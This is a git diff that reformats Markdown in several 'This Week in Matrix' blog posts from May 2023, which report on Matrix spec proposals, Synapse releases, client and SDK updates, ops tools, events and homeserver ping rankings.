v1.83.0rc1. Notable highlights include: -> +> > * Add an [admin API endpoint](https://matrix-org.github.io/synapse/v1.83/admin_api/statistics.html#get-largest-rooms-by-size-in-database) to query the largest rooms by disk space used in the database. > * Add Nginx loadbalancing example with sticky mxid for workers > * Disable push rule evaluation for rooms excluded from sync. > * Add experimental support for [MSC3970](https://github.com/matrix-org/matrix-spec-proposals/pull/3970): Scope transaction IDs to devices. -> +> > And so much more! To read about everything in the release, take a look at the release notes [here](https://github.com/matrix-org/synapse/releases) and otherwise have a great week. ## Dept of Clients 📱 @@ -96,10 +100,10 @@ A Minimal, simple, multi-platform chat client for the Matrix protocol. [JFA](https://matrix.to/#/@alariej:matrix.org) says > Version 1.6.5 of Quadrix (Matrix client for mobiles and desktops) has been released and is available in the respective app stores. -> -> The latest changes include the replacement of the Jitsi Meet videoconferencing functionality with an embedded version of Element Call, using matrix-widget-api. Quadrix loads the Element Call web app located at https://element-call.netlify.app, which is the continually updated dev version. The Quadrix implementation is not quite compatible with Element Web, since it uses non-encrypted WebRTC signalling, but that's something I'll be working on in the next weeks. -> -> Please go test-drive Element Call in Quadrix and leave feedback/comments at [#quadrix:matrix.org](https://matrix.to/#/#quadrix:matrix.org) or in the issues at https://github.com/alariej/quadrix (stars welcome :-) +> +> The latest changes include the replacement of the Jitsi Meet videoconferencing functionality with an embedded version of Element Call, using matrix-widget-api. Quadrix loads the Element Call web app located at , which is the continually updated dev version. The Quadrix implementation is not quite compatible with Element Web, since it uses non-encrypted WebRTC signalling, but that's something I'll be working on in the next weeks. +> +> Please go test-drive Element Call in Quadrix and leave feedback/comments at [#quadrix:matrix.org](https://matrix.to/#/#quadrix:matrix.org) or in the issues at (stars welcome :-) ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -108,7 +112,7 @@ Secure and independent communication, connected via Matrix. Come talk with us in [andybalaam](https://matrix.to/#/@andybalaam:matrix.org) reports > We’re still on our stability drive! -> +> > * Lots of bug fixing, including some progress on stuck unread messages. When we’re done, we’ll ask people to check for incorrect unreads. We’re not there yet, but we’re getting closer > * We’ve been improving the correctness of our Typescript code by updating it to conform to strict checking > * Our accessibility work continues, with more small fixes @@ -132,8 +136,6 @@ Secure and independent communication for Android, connected via Matrix. Come tal > On ElementX, we are working on media and file attachments. We are adding the picker and we are adding support for rendering attachment in the timeline. -> * On ElementX, we are working on media and file attachments. We are adding the picker and we are adding support for rendering attachment in the timeline. - ### Element X iOS ([website](https://github.com/vector-im/element-x-ios)) Everything related to Element but not strictly bound to a client @@ -141,6 +143,7 @@ Everything related to Element but not strictly bound to a client [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) announces > Happy Friday and happy Element X update day. This week we: +> > * [Added support for uploading media](https://github.com/vector-im/element-x-ios/pull/851) > * [Introduced a brand new room list contextual menu](https://github.com/vector-im/element-x-ios/pull/842) > * [Got our first look at decrypting remote background notifications](https://github.com/vector-im/element-x-ios/pull/854) @@ -154,7 +157,7 @@ Everything related to Element but not strictly bound to a client [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) says > libolm is an implementation of the Olm and Megolm cryptographic ratchets used for end-to-end encryption in Matrix. libolm 3.2.15 has been released. This is mainly a maintenance release that improves the Python packaging and fixes a TypeScript issue. The biggest change is that the Python package can now be installed from pypi.org, the default repository for Python packages. The source package includes the libolm sources, so you do not need libolm to be installed separately any more. All you need is cmake (or possibly GNU make) and a C/C++ compiler, and run `pip install python-olm`. It unfortunately does not yet work on Windows, but should work on UNIX-like operating systems such as Linux and \*BSD, and even macOS. -> +> > In other news: with Element iOS and Element Android switching to the rust crypto SDK, and hence using vodozemac, I'm considering deprecating the iOS and Android bindings for libolm. If you still need those bindings, please let me know. ## Dept of Ops 🛠 @@ -164,29 +167,29 @@ Everything related to Element but not strictly bound to a client [mgoerens](https://matrix.to/#/@mgoerens:matrix.org) says > The Synapse operator provides a way to deploy Synapse, the Heisenbridge, and the Mautrix-Signal bridge on Kubernetes. -> +> > ## Release v0.5.0 & v0.5.1 -> +> > It was time to cut a new release, though most of the changes are related to various internal improvements and experiments. -> +> > Release v0.5.0 & v0.5.1 come with only a few user-facing changes: -> +> > * Secrets in homeserver.yaml are now randomly generated. > * When a bridge is deleted, it is now unregistered from Synapse. > * Update container images to their latest available version to date, now deploying: -> -> - Synapse v1.82.0 -> - Mautrix-signal v0.4.2 -> - Signald 0.32.2 -> - Heisenbridge 1.14 (no update since v0.4.0) -> +> +> * Synapse v1.82.0 +> * Mautrix-signal v0.4.2 +> * Signald 0.32.2 +> * Heisenbridge 1.14 (no update since v0.4.0) +> > If you want to learn more about internal changes, check the [release notes](https://github.com/opdev/synapse-operator/releases/tag/v0.5.1) -> -> And join the matrix room to chat about the project: https://matrix.to/#/#synapse-operator:matrix.org -> +> +> And join the matrix room to chat about the project: +> > ## FOSDEM Video -> -> The replay of the presentation of this Kubernetes operator at FOSDEM, in the Matrix online devroom, is now available on Youtube: https://www.youtube.com/watch?v=Vsb18jr\_VDc +> +> The replay of the presentation of this Kubernetes operator at FOSDEM, in the Matrix online devroom, is now available on Youtube: ## Dept of Services 🚀 @@ -197,15 +200,15 @@ A developers-managed instance of the standalone search engine built for matrix r [Aine](https://matrix.to/#/@aine:etke.cc) reports > During this week at [etke.cc](https://etke.cc/?utm_source=twim) we polished the Matrix Rooms Search service and implemented the following improvements: -> +> > * Enabled language detection for all (75) supported languages and language analysis for all (29) supported languages by search engine > * Added ability to report illegal rooms (please, keep in mind that we know nothing about the contents of the indexed rooms, so if you think something is illegal - describe it like ELI5, so anyone can read the reason and know for sure if that room should be removed or not) > * Optimized avatars processing on UI -> +> > Current index status: **233513** indexed rooms from **19919** matrix servers -> +> > One more thing - we've created [Liberapay team](https://liberapay.com/mrs) to crowdfund the project's existence and we welcome everyone to donate and fund the future development and infrastructure costs 🙂 -> +> > [MatrixRooms.info](https://matrixrooms.info/), [Source code](https://gitlab.com/etke.cc/mrs), [#mrs:etke.cc](https://matrix.to/#/#mrs:etke.cc) ## Dept of Ping @@ -213,6 +216,7 @@ A developers-managed instance of the standalone search engine built for matrix r Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -229,6 +233,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|zemos.net|1665| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/05/2023-05-12-this-week-in-matrix-2023-05-12.md b/content/blog/2023/05/2023-05-12-this-week-in-matrix-2023-05-12.md index be29041c7..206e634c2 100644 --- a/content/blog/2023/05/2023-05-12-this-week-in-matrix-2023-05-12.md +++ b/content/blog/2023/05/2023-05-12-this-week-in-matrix-2023-05-12.md @@ -13,49 +13,52 @@ category = ["This Week in Matrix"] {{ youtube_player(video_id="j1Tnzn-gOcE") }} - ## Dept of Spec 📜 [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) announces -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [[WIP] MSC4014: Pseudonymous Identities](https://github.com/matrix-org/matrix-spec-proposals/pull/4014) > * [MSC4013: Poll history cache](https://github.com/matrix-org/matrix-spec-proposals/pull/4013) -> +> > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* -> +> > **Accepted MSCs:** +> > * [MSC3882: Allow an existing session to sign in a new session](https://github.com/matrix-org/matrix-spec-proposals/pull/3882) > * [MSC3860: Media Download Redirects](https://github.com/matrix-org/matrix-spec-proposals/pull/3860) > * [MSC2659: Application service ping endpoint](https://github.com/matrix-org/matrix-spec-proposals/pull/2659) > * [MSC2249: Require users to have visibility on an event when submitting reports](https://github.com/matrix-org/matrix-spec-proposals/pull/2249) > * [Mechanism to communicate 3PID binding updates or deletions to homeservers](https://github.com/matrix-org/matrix-spec-proposals/issues/3808) -> +> > **Closed MSCs:** +> > * [MSC2463: Exclusion of MXIDs in push rules content matching](https://github.com/matrix-org/matrix-spec-proposals/pull/2463) -> +> > ## Spec Updates -> +> > A regular reminder that every Tuesday, the Spec Core Team (SCT) publishes their approximate priorities in the public [Office of the Spec Core Team room](https://matrix.to/#/#sct-office:matrix.org) - check it out to see what the SCT is working on. Similarly, if you’d like the SCT to engage with your MSC, mention so in that room. -> +> > The release of Matrix 1.7 is expected in the next 1-2 weeks! Keep an eye out for announcement blog post specifically for it. We'll call it out in the following TWIM as well of course :) -> +> > Matrix 1.8 is currently scheduled for around August 2023. -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3914: Matrix native group call push rule](https://github.com/matrix-org/matrix-spec-proposals/pull/3914)! -> +> > This MSC adds a new push rule that causes your Matrix client to emit a notification if a group call (as defined by [MSC3401](https://github.com/matrix-org/matrix-spec-proposals/pull/3401) is started in a Matrix room. This MSC (obviously) depends on MSC3041, so that MSC will need to be accepted before this one can be. -> +> > There is currently a client-side implementation for this MSC, but it is missing a homeserver side one (for adding the push rule). -> +> > Check out the MSC if you're interested, or perhaps take a look at adding that server-side implementation? @@ -69,14 +72,14 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) says > ## Synapse -> +> > It's Friday Friday Friday which means it's time for another TWIM. This week the backend team released Synapse v1.83.0. Notable highlights include: -> +> > * Update support for [MSC3983](https://github.com/matrix-org/matrix-spec-proposals/pull/3983) to allow always returning fallback-keys in a `/keys/claim` request. -> * Fix a long-standing bug where cached server key results which were directly fetched would not be properly re-used. -> * Fix a bug introduced in Synapse 1.73.0 where some experimental push rules were returned by default. +> * Fix a long-standing bug where cached server key results which were directly fetched would not be properly re-used. +> * Fix a bug introduced in Synapse 1.73.0 where some experimental push rules were returned by default. > * Add experimental support to recursively provide relations per [MSC3981](https://github.com/matrix-org/matrix-spec-proposals/pull/3981) -> +> > And so much more! To read about everything in the release, take a look at the release notes [here](https://github.com/matrix-org/synapse/releases) and otherwise have a great week. ## Dept of Clients 📱 @@ -88,19 +91,20 @@ A Matrix Client written for MTRNord [MTRNord](https://matrix.to/#/@mtrnord:midnightthoughts.space) says > Hi everyone :) -> +> > I recently started to work on my own personal Matrix client. It's still early in the progress, but I wanted to share it. -> +> > It mostly is based around some core concepts of element-web UI, however deviates from it quite quickly. > Notable changes are that it merges the space and roomviews into a single list, it has a richtext editor, and it renders things slightly different but close to element-web. -> +> > Additionally, the client is using the matrix-rust-sdk-crypto-js bindings as underlying e2ee and sliding-sync as it's /sync implementation. -> +> > This week it's just a preview, but I hope to improve upon it and make it more usable for people. You will find plenty of bugs like e2ee not decrypting past messages, no upscroll, no verification. But for very basic chatting it should work already. -> -> Feel free to peek into [#cetirizine:midnightthoughts.space](https://matrix.to/#/#cetirizine:midnightthoughts.space) or have a look at the repo https://github.com/MTRNord/cetirizine or try it for yourself at https://mtrnord.github.io/cetirizine (Or just view the storyboard at https://mtrnord.github.io/cetirizine/storybook ) -> +> +> Feel free to peek into [#cetirizine:midnightthoughts.space](https://matrix.to/#/#cetirizine:midnightthoughts.space) or have a look at the repo or try it for yourself at (Or just view the storyboard at ) +> > Note that since this is meant to be a personal client there is no support given, and it's purely "free and source available" but neither includes community support nor any form of professional support. This is to prevent mental exhaustion for myself. Also note that this is still very early into the process. So many things are missing or buggy. If you try it, be careful. +> > ![](/blog/img/0054912a70c907ec60261538850694a67d8af820.png) ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -110,9 +114,9 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) announces > * Our work on notifications continues with a big improvement to the stuck notifications bug hitting production this week! -> -> - The [MSC 3981](https://github.com/matrix-org/matrix-spec-proposals/pull/3981) is in review and other bug fixes are also continuing to land -> - The enhancements to Settings are underway, this week we’ve looked at mapping users current selections to the new design to ensure that a migration is as smooth as possible +> +> * The [MSC 3981](https://github.com/matrix-org/matrix-spec-proposals/pull/3981) is in review and other bug fixes are also continuing to land +> * The enhancements to Settings are underway, this week we’ve looked at mapping users current selections to the new design to ensure that a migration is as smooth as possible > * Our Accessibility work continues with more than 20 issues closed in the last few weeks. This will continue to be a priority for us over the coming few weeks so please continue to raise any issues or areas that we could be improving. ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -132,7 +136,7 @@ Everything related to Element but not strictly bound to a client [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) says > Hello Friday and goodbye to another productive Element X week. We’re working very hard on stabilizing the application and getting it ready for a new public release but meanwhile: -> +> > * [Progress](https://github.com/vector-im/element-x-ios/pull/883) on the [new rich reply rendering](https://github.com/vector-im/element-x-ios/pull/861). Other message types coming next. > * [Improved media uploading](https://github.com/vector-im/element-x-ios/pull/857) > * [Notification](https://github.com/vector-im/element-x-ios/pull/862) [improvements](https://github.com/vector-im/element-x-ios/pull/882) @@ -148,14 +152,14 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [Jonas Platte](https://matrix.to/#/@jplatte:flipdot.org) says > Over the last two weeks, -> +> > * SQlite [replaced](https://github.com/matrix-org/matrix-rust-sdk/pull/1829) sled as the default on-disk state store backend! > * We [added](https://github.com/matrix-org/matrix-rust-sdk/pull/1855) more convenient power level action checks and [exposed](https://github.com/matrix-org/matrix-rust-sdk/pull/1832) them in matrix-sdk-ffi > * The FFI crate also [gained support](https://github.com/matrix-org/matrix-rust-sdk/pull/1826) for sending image attachments through the timeline > * We made the timeline [strip](https://github.com/matrix-org/matrix-rust-sdk/pull/1847) reply fallbacks (so replies don't get rendered twice) > * We've steadily been improving our logging > * And of course there were lots of bug fixes, CI improvements and refactorings as well -> - Notably, we optimized the size of some futures, which could be the solution for a stack overflow Windows users have been reporting from time to time (we're waiting for somebody who previously saw the bug to try out the latest version) +> * Notably, we optimized the size of some futures, which could be the solution for a stack overflow Windows users have been reporting from time to time (we're waiting for somebody who previously saw the bug to try out the latest version) ## Dept of Ops 🛠 @@ -164,14 +168,14 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [Aine](https://matrix.to/#/@aine:etke.cc) says > [Radicale](https://radicale.org) is dead simple CalDAV/CardDAV server, it's not fancy, but does the job. The only caveat with Radicale we had at [etke.cc](https://etke.cc/?utm_source=twim) is manual htpasswd-based user management which is painful both for us and our customers. -> +> > So, we did that thing, called `radicale-auth-matrix` and you can use it authenticate from radicale against your matrix server, delegating user management on matrix side, where you have proper API and even UI for that. -> +> > How it works? > You enter your matrix account's credentials when login to your Radicale server, that's it! It even has simple hash-based cache to avoid unnecessary requests to matrix API once you logged in. -> -> Pretty niche thing, but it pain caused by manual user management is gone 😄 -> +> +> Pretty niche thing, but it pain caused by manual user management is gone 😄 +> > [Source code](https://gitlab.com/etke.cc/radicale-auth-matrix). We even have ready-to-use [Radicale docker image](https://gitlab.com/etke.cc/radicale) with that plugin installed ## Dept of Events and Talks 🗣️ @@ -181,20 +185,20 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [Nik | Klampfradler 🎸🚴🏻](https://matrix.to/#/@nik:matrix.teckids.org) announces > The deadline for registrations for the two Matrix courses at the German Open Source training center Linuxhotel is fast approaching, and the courses, sadly, are at risk to be cancelled due to lack of interest: -> +> > * [Matrix - Server administration, usage, and federation](https://www.linuxhotel.de/course/matrix-de/) > * [Matrix - Development and IoT](https://www.linuxhotel.de/course/matrix-dev-de) -> +> > If you know someone who might be interested in 3 to 5 days of hands-on Matrix experience for their company, team, or as a hobbyist, please share the invitation ☺! [HarHarLinks](https://matrix.to/#/@kim:sosnowkadub.de) reports -> # \[m\]-village@cccamp23 -> +> ### \[m\]-village@cccamp23 +> > Hi TWIM! It's been 3 months since a good chunk of the Matrix community gathered at FOSDEM. We had lots of fun meeting people at FOSDEM itself and on top an overwhelming response to the [#fosdem23-community-meetup:matrix.org](https://matrix.to/#/#fosdem23-community-meetup:matrix.org) we hosted on Friday in advance. -> -> One of the next hacker events has now appeared on the horizon, namely **Chaos Communication Camp 2023** happening August 15-19. Find all the info about it in several posts on https://events.ccc.de/category/camp-2023/ and in the rooms contained within the [#camp2023:events.ccc.de](https://matrix.to/#/#camp2023:events.ccc.de) space. Note that this event, while happening close to Berlin, Germany, and some of the presented content might be in German, the Camp still targets an international audience. -> +> +> One of the next hacker events has now appeared on the horizon, namely **Chaos Communication Camp 2023** happening August 15-19. Find all the info about it in several posts on and in the rooms contained within the [#camp2023:events.ccc.de](https://matrix.to/#/#camp2023:events.ccc.de) space. Note that this event, while happening close to Berlin, Germany, and some of the presented content might be in German, the Camp still targets an international audience. +> > Some of us have already gotten together to organize a Matrix village at the CCCamp. If you are interested in attending or - even better - have any ideas to share, we invite you to join us in that room. In particular, we will meet next Monday (May 15) in a video conference in [#chaosevents:matrix.org](https://matrix.to/#/#chaosevents:matrix.org) for planning, exchanging info, etc. ## Matrix in the News 📰 @@ -208,6 +212,7 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -224,6 +229,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|mailstation.de|4803| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/05/2023-05-19-this-week-in-matrix-2023-05-19.md b/content/blog/2023/05/2023-05-19-this-week-in-matrix-2023-05-19.md index 2eae42afc..33ce63a8f 100644 --- a/content/blog/2023/05/2023-05-19-this-week-in-matrix-2023-05-19.md +++ b/content/blog/2023/05/2023-05-19-this-week-in-matrix-2023-05-19.md @@ -15,38 +15,42 @@ No Matrix Live this week as Thib's away. Tune in next week though - maybe he'll [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) announces -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [[WIP] MSC4016: Streaming E2EE file transfers with random access](https://github.com/matrix-org/matrix-spec-proposals/pull/4016) > * [MSC4015: Voluntary Bot indicators](https://github.com/matrix-org/matrix-spec-proposals/pull/4015) -> +> > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* -> +> > **Accepted MSCs:** +> > * *No MSCs were accepted this week.* -> +> > **Closed MSCs:** +> > * *No MSCs were closed/rejected this week.* -> +> > ## Spec Updates -> +> > Matrix v1.7 has been given a release date of **May 25th**, right before the next TWIM! Expect a matrix.org blog post with all the details on the day. -> +> > Leading up to the release we've seen a number of great spec PRs [appearing and being merged](https://github.com/matrix-org/matrix-spec/pulls?q=is%3Apr+sort%3Aupdated-desc+)! Thank you to everyone for writing them (saving the SCT some time!) and to other reviewing on commenting. It's a huge help and the spec feels like it's chugging along at a blistering pace! -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC2213: Rejoinability of private/invite-only rooms](https://github.com/matrix-org/matrix-spec-proposals/pull/2213)! -> +> > This MSC adds the ability for users who have previously joined a room to rejoin again. Typically this isn't desired in a public room setting, but it does specifically make sense in the case of a DM that you've left and want to return to without the other user needing to invite you. This case has specific implications for cases where there could be only ever one room between two users. Being able to rejoin it if the other user has disappeared is key! -> +> > Outside of the DM use case, this functionality can mostly already be achieved by using [restricted rooms](https://spec.matrix.org/v1.6/client-server-api/#restricted-rooms), where users of a given space/another room can always join your room. However, it would be nice to have the flexibility of allowing certain users to rejoin a room without needing another room to serve as proof of membership. -> +> > Is this something you're interested in? Do you have additional use cases? Feel free to check out the MSC and comment with your thoughts! @@ -60,11 +64,11 @@ Matrix messaging app for GNOME written in Rust. [Kévin Commaille](https://matrix.to/#/@zecakeh:tedomum.net) says > Fractal 5.beta1 is out! -> +> > Fractal 5.beta1 is the first beta release since the rewrite of Fractal to take advantage of GTK 4 and the Matrix Rust SDK. It is the result of over two years of work. -> +> > New features since Fractal 5.alpha1: -> +> > * Joining room by ID, by alias or with a Matrix URI > * Creation of direct chats > * Sending and displaying read receipts, read markers and typing notifications @@ -72,60 +76,60 @@ Matrix messaging app for GNOME written in Rust. > * Highlight messages with mentions > * Added media file history viewers in the room details, thanks to our GSoC intern Marco Melorio > * Displaying the other user's avatar as a room avatar for direct chats -> +> > Of course, there are a also a lot of less visible changes, fixes and translations thanks to all our contributors, and our upstream projects. -> +> > As the version implies, this is still considered beta stage and might trigger crashes or other bugs but overall should be pretty stable. It is available to install via Flathub Beta, see the [instructions in our README](https://gitlab.gnome.org/GNOME/fractal#beta-version). -> -> _The GNOME 44 runtime used by the beta version Flatpak was shipped with a GTK version that has a regression which messes with room order in the sidebar: some rooms can appear twice and some rooms are missing. This is a known issue so there is no need to report it, there is nothing for us to do but wait until the fix is backported and shipped in an update of the GNOME runtime. In the meantime, the nightly version is unaffected by that._ -> +> +> *The GNOME 44 runtime used by the beta version Flatpak was shipped with a GTK version that has a regression which messes with room order in the sidebar: some rooms can appear twice and some rooms are missing. This is a known issue so there is no need to report it, there is nothing for us to do but wait until the fix is backported and shipped in an update of the GNOME runtime. In the meantime, the nightly version is unaffected by that.* +> > A list of blocking issues for the release of version 5 can be found in the [Fractal 5 milestone](https://gitlab.gnome.org/GNOME/fractal/-/milestones/18) on GitLab. All contributions are welcome ! +> > ![](/blog/img/bc16f37540152ed388f6750efc5e402a3505395f.png) +> > ![](/blog/img/483203c8955e423bb6847870bbd311af891f5ef3.png) ### FluffyChat ([website](https://fluffychat.im)) - - [Krille](https://matrix.to/#/@krille:janian.de) announces > Here's a quick rundown of what's been happening in the Fluffy world over the past week: -> -> -> +> +> +> > 📱 Android: > > * Updated minimum SDK version from 16 to 19. With the latest Flutter upgrade this was necessary. So FluffyChat will no longer be installable on Android 4.3 and below. -> +> > 🔧 Miscellaneous: > > * Added missing blockquote style. > * Cleaned up unused translations. > * Various code clean-ups and maintenance tasks. -> +> > 🔄 Refactoring and Updates: -> +> > * Refactored Flutter Matrix HTML > * Updated fonts for improved visuals. > * Leveraged DateTime for accurate weekday localization. -> -> -> +> +> +> > 🐞 Bug Fixes: -> +> > * Fixed render overflow caused by long file names.- Improved error reporting for critical issues. -> +> > 💡 Exciting New Features: -> +> > * Mute notifications from chat groups with a simple toggle. -> +> > 🔧 Maintenance and Dependency Updates: -> +> > * Streamlined codebase by removing unnecessary dependencies. > * Updated dependencies for enhanced performance and security. > * Enhanced release curl calls for better error handling. > * Updated translations (thanks to all translators) -> +> > We are working hard to make the next release possible to bring these changes to all users soon. Stay tuned <3 ### Ement.el ([website](https://github.com/alphapapa/ement.el)) @@ -135,25 +139,25 @@ Matrix client for Emacs [alphapapa](https://matrix.to/#/@alphapapa:matrix.org) says > [Ement.el](https://github.com/alphapapa/ement.el), a Matrix client for the [GNU Emacs](https://www.gnu.org/software/emacs/) Lisp machine and text editor, has been released at [version 0.9](https://github.com/alphapapa/ement.el/releases/tag/v0.9). Changes since the last release include: -> +> > *Additions* -> -> + Option `ement-room-timestamp-header-align` controls how timestamp headers are aligned in room buffers. -> + Option `ement-room-view-hook` runs functions when `ement-room-view` is called. (By default, it refreshes the room list buffer.) -> + In the room list, middle-clicking a room which has a buffer closes its buffer. -> + Basic support for video events. (Thanks to [Arto Jantunen](https://github.com/viiru-).) -> +> +> * Option `ement-room-timestamp-header-align` controls how timestamp headers are aligned in room buffers. +> * Option `ement-room-view-hook` runs functions when `ement-room-view` is called. (By default, it refreshes the room list buffer.) +> * In the room list, middle-clicking a room which has a buffer closes its buffer. +> * Basic support for video events. (Thanks to [Arto Jantunen](https://github.com/viiru-).) +> > *Changes* -> -> + Using new option `ement-room-timestamp-header-align`, timestamp headers default to right-aligned. (With default settings, this keeps them near message timestamps and makes for a cleaner appearance.) -> +> +> * Using new option `ement-room-timestamp-header-align`, timestamp headers default to right-aligned. (With default settings, this keeps them near message timestamps and makes for a cleaner appearance.) +> > *Fixes* -> -> + Recognition of certain MXID or displayname forms in outgoing messages when linkifying (aka "pilling") them. -> + Unreadable room avatar images no longer cause errors. (Fixes [#147](https://github.com/alphapapa/ement.el/issues/147). Thanks to [@jgarte](https://github.com/jgarte) for reporting.) -> + Don't error in ~ement-room-list~ when no rooms are joined. (Fixes [#123](https://github.com/alphapapa/ement.el/issues/123). Thanks to [@Kabouik](https://github.com/Kabouik) and [Omar Antolín Camarena](https://github.com/oantolin) for reporting.) -> + Enable member/room completion in compose buffers. (Fixes [#115](https://github.com/alphapapa/ement.el/issues/115). Thanks to Thanks to [Justus Piater](https://github.com/piater) and [Caleb Chase](https://github.com/chasecaleb) for reporting.) -> +> +> * Recognition of certain MXID or displayname forms in outgoing messages when linkifying (aka "pilling") them. +> * Unreadable room avatar images no longer cause errors. (Fixes [#147](https://github.com/alphapapa/ement.el/issues/147). Thanks to [@jgarte](https://github.com/jgarte) for reporting.) +> * Don't error in ~ement-room-list~ when no rooms are joined. (Fixes [#123](https://github.com/alphapapa/ement.el/issues/123). Thanks to [@Kabouik](https://github.com/Kabouik) and [Omar Antolín Camarena](https://github.com/oantolin) for reporting.) +> * Enable member/room completion in compose buffers. (Fixes [#115](https://github.com/alphapapa/ement.el/issues/115). Thanks to Thanks to [Justus Piater](https://github.com/piater) and [Caleb Chase](https://github.com/chasecaleb) for reporting.) +> > Feel free to join us in the chat room: [#ement.el:matrix.org](https://matrix.to/#/#ement.el:matrix.org). ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -172,17 +176,18 @@ The next generation of Element on Android! Come talk with us in [#element-androi [kittykat](https://matrix.to/#/@kittykat:matrix.org) reports > * The team is working on: -> * Adding invite users to room +> * Adding invite users to room > * Roomlist context menu (which will include settings and leaving the room) ### Element X iOS [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) says -> This has been a very exciting week for Element X iOS with our second ever public release seeing the light of day. The change log is huge and the app is better than ever so do please join our [public testflight](https://testflight.apple.com/join/uZbeZCOi) if you haven't already. +> This has been a very exciting week for Element X iOS with our second ever public release seeing the light of day. The change log is huge and the app is better than ever so do please join our [public testflight](https://testflight.apple.com/join/uZbeZCOi) if you haven't already. > We now have room and member details, media uploading, animated gif support, user blocking, system notifications, room leaving and many many more. Feel free to also join our [public room](https://matrix.to/#/#element-x-ios:matrix.org) -> +> > Otherwise this week we have been focusing on: +> > * custom rendering for different reply room message types in the timeline > * background app refresh support > * read receipts @@ -198,9 +203,9 @@ The next generation of Element on Android! Come talk with us in [#element-androi > Sometimes, development isn't about writing code, it's about looking ahead and planning! > In the past three weeks, I've tried to figure out how filters work combined with endpoints like [`/sync`](https://spec.matrix.org/v1.6/client-server-api/#get_matrixclientv3sync), [`/messages`](https://spec.matrix.org/v1.6/client-server-api/#get_matrixclientv3roomsroomidmessages) and [`/context`](https://spec.matrix.org/v1.6/client-server-api/#get_matrixclientv3roomsroomidcontexteventid) - and it turns out I couldn't find any straight answers! -> +> > So I wrote [a whitepaper](https://github.com/noordstar/elm-matrix-sdk/blob/main/development/issues/Filters.md) in the [Elm SDK repository](https://github.com/noordstar/elm-matrix-sdk/tree/main) on the inconsistencies and where the spec is unclear (to me, at least). I hope you're willing to look into it as I might open up an MSC soon where I request to be more specific about filters and the endpoints. -> +> > [Read the whitepaper here,](https://github.com/noordstar/elm-matrix-sdk/blob/main/development/issues/Filters.md) and please give me your feedback and/or corrections! ### matrix-scala ([website](https://github.com/UMEssen/matrix-scala/tree/main)) @@ -210,14 +215,14 @@ The next generation of Element on Android! Come talk with us in [#element-androi > I've developed a rudimentary Matrix-Library for Scala for akka, for distributed async systems. > The underlying code is actually automatically generated from the specification, with strong typing, automatic JSON (de-) serializiation and a rudimentary client provided. > It features the entirety of the client-server API. This is achieved via a custom code-generator. -> This library provides _just enough_ stuff to easily build a fully fletched client. +> This library provides *just enough* stuff to easily build a fully fletched client. > A more high-level client is in development right now. Encryption will be hard, but will hopefully be implemented via JNI in the foreseeable future. -> +> > This is part of Germany's effort to move hospitals messaging systems to the Matrix protocol. -> +> > In case you want to check it out: > A prebuilt is also provided -> https://github.com/UMEssen/matrix-scala/tree/main +> ### Trixnity ([website](https://gitlab.com/trixnity/trixnity)) @@ -226,13 +231,13 @@ Multiplatform Kotlin SDK for Matrix [Benedict](https://matrix.to/#/@benedict:imbitbu.de) announces > Trixnity got its first big external contribution in version v3.6.2! -> +> > features: -> +> > * added support for Android [room](https://developer.android.com/jetpack/androidx/releases/room) database. Thanks to Jon Poulton! -> +> > bugfixes: -> +> > * allow parallel use 